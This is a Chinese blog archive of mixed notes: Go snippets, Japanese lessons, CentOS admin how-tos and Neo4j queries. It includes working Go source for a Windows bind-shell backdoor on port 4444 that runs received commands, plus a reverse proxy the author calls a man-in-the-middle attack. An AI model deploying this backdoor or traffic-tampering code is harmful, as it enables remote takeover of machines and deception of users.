博文

目前显示的是 一月, 2018的博文

Golang 转 XML 到数组的操作方法

package main import ( xl "github.com/basgys/goxml2json" "github.com/tidwall/gjson" "strings" "log" "fmt" ) var t =`<datas><data><id>1</id><xm>cs</xm></data><datas>` func main() { buff, error := xl.Convert(strings.NewReader(t)) checkError(error) r := gjson.Parse(buff.String()) fmt.Println(r.Get("datas").String()) } func checkError(err error) { if(err != nil) { log.Fatal(err) } } 如上xml,如果 datas 里存在多个数组 data,是可用的。

Golang Windows CMD BackDoor

package main import ( "net" "bufio" "os/exec" "fmt" ) const ( TYPE = "tcp" ADDRESS = "0.0.0.0:4444") func main() { l, err := net.Listen(TYPE, ADDRESS) checkErr(err) defer l.Close() for ;true;{ conn, err := l.Accept(); checkErr(err) go handleRequest(conn) } } func handleRequest(conn net.Conn) { scanner := bufio.NewScanner(conn); for { recv := scanner.Scan() command := scanner.Text(); if !recv || "exit" == command { break; } cmd, err := exec.Command("cmd", "/C " + command).Output() if(err!= nil) { conn.Write([]byte(err.Error()+ "\r\n") ) } else { conn.Write(cmd); } checkErr(err); conn.Write([]byte("---------------------------------------------\r\n")); conn.Write([]byte("\r\n")); }

新标日-初级第三课

一、指示场所的代词 1、ここ 2、そこ 3、あそこ 礼貌说法是 あちら 4、どこ 5、いくら 询问价格的疑问词 二、名词存在某一场所的表达形式 【名词】は【名词场所】です 三、表示提示的助词- も 的用法 四、答案有多种情况,而询问其中一种中的句型 【名词】は【名词】ですか、【名词】ですか。 五、代词分类 分类 こ そ あ ど 事、物 これ それ あれ どれ 修饰名词 この その あの どの 场所 ここ そこ あそこ どこ 场所、方向 こちら そちら あちら どちら 六、100以上的数字表示方法 100 ひゃく 200 にひゃく 300 さんびゃく 400 よんひゃく 500 ごひゃく 600 ろっぴゃく 700 ななひゃく 800 はっぴゃく 900 きゅうひゃく 1000 せん 2000 にせん 3000 さんぜん 4000 よんせん 5000 ごせん 6000 ろくせん 7000 ななせん 8000 はっせん 9000 きゅうせん 10000 いちまん【一万】 100000 じゅうまん【十万】 1000000 ひゃくまん【一百万】 10000000 いっせんまん【一千万】 100000000 いちおく【一亿】

Golang 反向代理 Http 服务器,并修改服务器的 html

图片
如下图所示,在代理服务器层伪造消息。 这种是一种非常简单的中间人攻击   package main import ( "bytes" "io/ioutil" "net/http" "net/http/httputil" "net/url" "strconv" ) type transport struct { http.RoundTripper } func (t *transport) RoundTrip(req *http.Request) (resp *http.Response, err error) { resp, err = t.RoundTripper.RoundTrip(req) if err != nil { return nil, err } b, err := ioutil.ReadAll(resp.Body) if err != nil { return nil, err } err = resp.Body.Close() if err != nil { return nil, err } b = bytes.Replace(b, []byte("Fedora"), []byte("hello this is replace content"), -1) body := ioutil.NopCloser(bytes.NewReader(b)) resp.Body = body resp.ContentLength = int64(len(b)) resp.Header.Set("Content-Length", strconv.Itoa(len(b))) return resp, nil } var _ http.RoundTripper = &transport{} func main() { target, err := url.Parse("http://35.201.172.1/") if err != nil { panic(err) }

Centos7开机启动自己的脚本_转载

在centos7中,/etc/rc.d/rc.local文件的权限被降低了,开机的时候执行在自己的脚本是不能起动一些服务的,执行下面的命令可以文件标记为可执行的文件 chmod +x /etc/rc.d/rc.local 打开/etc/rc.d/rc.local文件,在最后面添加如下脚本 /data/tomcat-medicine-p81/bin/startup.sh 转载自:http://www.voidcn.com/article/p-wbtebqjg-gt.html 感谢大神的无私奉献,谢谢。

CentOS7 创建分区并开机启动_转载

CentOS格式化新硬盘并设置开机自动挂载   服务器上加了一块新硬盘,在/dev/下只能看到一个sdb的设备。 于是要分区、创建文件系统、设置开机自动挂载,过程如下: 1、创建分区 用parted命令分区: [plain] view plaincopy                           # parted /dev/sdb   (parted) mktable gpt   (parted) mkpart data 1024KiB -1   (parted print)   parted之后的参数是设备名。mkpart命令的三个参数分别是分区名(随便起),开始地址,结束地址(-1表示块设备末尾),前面留出的空间可能是用于存放分区信息,不留的时候会有警告。print查看分区结果 2、格式化分区 创建分区之后,出现了/dev/sdb1分区。使用mkfs命令格式化分区: [plain] view plaincopy                           # mkfs /dev/sdb1 ext4   3、设置开机挂载 修改/etc/fstab文件,在末尾加上一行: [plain] view plaincopy                           /dev/sdb1               /data                   ext4    defaults        0 0   各字段分别是分区,挂载点,文件格式,挂载参数。后两个一般用0 0 重启,看看是否设置成功。 文章拷贝自【出处 http://blog.csdn.net/bhq2010/article/details/9238997 】 感谢大神的无私奉献。

新标日-初级第二课

一、指示事物的代词 1、これ       距离说话人近,听话人比较远的事物 2、それ       距离听话人较近,说话人比较远的事物 3、あれ       距离说话人和听话人都比较远的事物 4、どれ       是在3个或3个以上的事物中不能确定是哪一个 5、どの    当不能确定是哪一个时可以用这个表示 6、だれ       一般用于人物,谁,一般用于单个人,那个人是谁? 7、どなた「かた(方)」       哪位,一般表示人,比较礼貌 8、いくつ      数量的疑问词。 二、どれ 和 どの 的区别 どれ 和 どの 的区别就是 どの 后面要加一个名词,而どれ 可以单独使用 例子 : どのスマホが藤浦さんのスマホですか。 // 哪个手机时 藤浦先生的手机 どれが藤浦さんのスマホですか。//哪个是藤浦先生的手机 この、あの、その 表示所谓的物体位置远近和 これ、それ、あれ 相同 三、分类整理 分类 近称 中称 远称 不定称 事物 これ それ あれ どれ 指示 この その あの どの 四、一百以内数字的说法 0    れい/ぜろ 1    いち 2    に 3    さん 4    よん/し 5    ご 6    ろく 7    しち/なな 8    はち 9    く/きゅう 10   じゅう 11    じゅういち 12    じゅうに 13    じゅうさん 14    じゅうよん 15    じゅうご 16    じゅうろく 17    じゅうしち/じゅうなな 18    じゅうはち 19    じゅうく/じゅうきゅう 20    にじゅう 30 さんじゅう 40 よんじゅう 50 ごじゅう 60 ろくじゅう 70 ななじゅう 80 はちじゅう 90 きゅうじゅう 100 ひゃく 0.1 れい てん いち 2/3 さんぶんのに 小数点的读法是 てん 几分之几的刚是 ぶん 五、称谓 汉语称谓 自己的亲属 别人的亲属 祖父/外公 そふ「祖父」 おじいさん「

新标日-初级第一课

一、名词句          【名词】 は 【名词】 です 二、名字句的否定形式          【名词】 は 【名词】 ではありません 三、名词句的疑问形式及问答        【名词】 は 【名词】 ですか 四、连接名词,表示事物从属关系的助词”の”        【名词】 の 【名词】 五、不知道问题的回答        分かりません 六、非常抱歉        どうもすみません

Neo4j 常用查询命令

1、删除节点标记 MATCH (n {}) REMOVE n:Database RETURN n MATCH (n { name: '*' }) DETACH DELETE n 2、删除关系类型 MATCH (n { name: 'Andres' }) DETACH DELETE n 3、删除所有节点和关系 MATCH (n) DETACH DELETE n CREATE (w1:WeiWen { name: 'W1-syy'}) CREATE (w2:WeiWen { name: 'W2-lyy'}) CREATE (w3:WeiWen { name: 'W3-gzr'}) CREATE (w4:WeiWen { name: 'W4-lxm'}) CREATE (w5:WeiWen { name: 'W5-zjl'}) CREATE (w6:WeiWen { name: 'W6-zjj'}) CREATE (w1:WeiWen)-[:Call { number: 5, name:'维稳' }]->(w2:WeiWen); CREATE (w2)-[:Call { number: 5, name:'维稳' }]->(w4) CREATE (w3)-[:Call { number: 1, name:'维稳' }]->(w4) CREATE (w5)-[:Call { number: 1, name:'维稳' }]->(w2) CREATE (w6)-[:Call { number: 1, name:'维稳' }]->(w1) MATCH (a:WeiWen),(b:WeiWen) WHERE a.name = 'W1-sy' AND b.name = 'W5-zjl' CREATE (a)-[r:Call]->(b) RETURN MATCH (a:WeiWen),(b:WeiWen) WHERE a.